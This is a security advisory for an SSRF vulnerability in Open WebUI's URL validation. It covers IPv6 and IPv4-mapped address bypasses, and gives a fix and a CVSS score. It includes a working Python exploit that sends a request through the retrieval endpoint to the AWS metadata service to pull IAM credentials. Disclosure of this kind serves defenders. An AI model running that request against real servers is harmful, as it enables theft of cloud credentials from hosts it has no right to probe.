open-webui
Affected
- introduced
0, fixed0.9.0(ecosystem)
Fixed versions
0.9.0
Fix
- Fixed version
0.9.0pip install --upgrade open-webui==0.9.0
Advisory
Also known as: CVE-2026-45331, GHSA-4v7r-f4w8-8972
Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature
SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in validate_url()
Summary
validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked.
The vulnerability has existed since the validate_url() function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls validate_url(), including /api/v1/retrieval/process/web, /api/v1/images/edit, and others.
Affected code
backend/open_webui/retrieval/web/utils.py validate_url():
if validators.ipv6(ip, private=True): # ValidationError is falsy — never raises
raise ValueError(...)
Proof of concept
import validators
print(validators.ipv6("::1", private=True))
# ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...})
End-to-end exploit:
import requests, ipaddress
OPEN_WEBUI_URL = "https://target"
TOKEN = "..."
TARGET_IPV4 = "169.254.169.254" # AWS IMDSv1
mapped = "::ffff:" + TARGET_IPV4
requests.post(f"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web",
headers={"Authorization": f"Bearer {TOKEN}"},
json={"collection_name": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"})
Impact
Any authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.
Recommended fix
Replace the validators library calls with stdlib ipaddress:
import ipaddress
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:
raise ValueError(...)
# also unwrap IPv4-mapped IPv6 and re-check:
if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:
addr_v4 = addr.ipv4_mapped
if addr_v4.is_private or addr_v4.is_loopback or ...:
raise ValueError(...)
# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).
Related but separate advisories
validate_url() call in image_generations: GHSA-h7cc-wwjp-5xqhCredits
validators.ipv6(private=True) silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).Subsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing validate_url() once resolves all of them.
High Basis: CVSS v3 score 8.5, vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
0, fixed 0.9.0 (ecosystem)0.9.0
0.9.0pip install --upgrade open-webui==0.9.0Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: PyPA Advisory Database · CC BY 4.0